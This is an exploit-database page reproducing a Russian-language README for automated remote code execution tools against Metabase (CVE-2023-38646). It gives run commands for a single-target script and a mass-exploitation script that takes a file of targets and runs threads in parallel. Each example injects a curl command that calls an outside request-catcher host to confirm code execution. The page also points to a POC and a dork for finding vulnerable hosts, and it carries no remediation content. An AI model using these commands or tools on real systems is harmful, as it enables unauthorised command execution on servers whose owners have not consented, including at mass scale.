Sploitus

Exploit for CVE-2023-38646

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN31 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ROBOTMIKHRO-CVE-2023-38646
# CVE-2023-38646

АвтоматичСскиС инструмСнты для эксплуатации RCE Π² Metabase, извСстной ΠΊΠ°ΠΊ CVE-2023-38646. Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ https://secry.me/explore/news/metabase-rce-cve-2023-38646/ для получСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ (POC, Dork)

## Как ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ single.py

![CVE-2023-38646-Single Exploit](https://assets.kitploit.com/production/public/readmes/31482/7ea20f658899ea1d7fc316e8b435f8aab28cc596940df2436f0d86e60db3fd0e.png)

root@kitploit:~
    
    
    python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint"
    

ΠΈΠ»ΠΈ

root@kitploit:~
    
    
    python3 single.py -u http://127.0.0.1:8080 -c "curl sub.requestcatcher.com/some-endpoint"
    

## Как ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ mass.py

![CVE-2023-38646-Mass Exploit](https://assets.kitploit.com/production/public/readmes/31482/cc0e048f1cb3ed2b572c5b83120c719f0925e2194e9fe06a490cea0d0c5260b8.png)

root@kitploit:~
    
    
    python3 mass.py -f target.txt -t 10 -c "curl sub.requestcatcher.com/some-endpoint" -o output.txt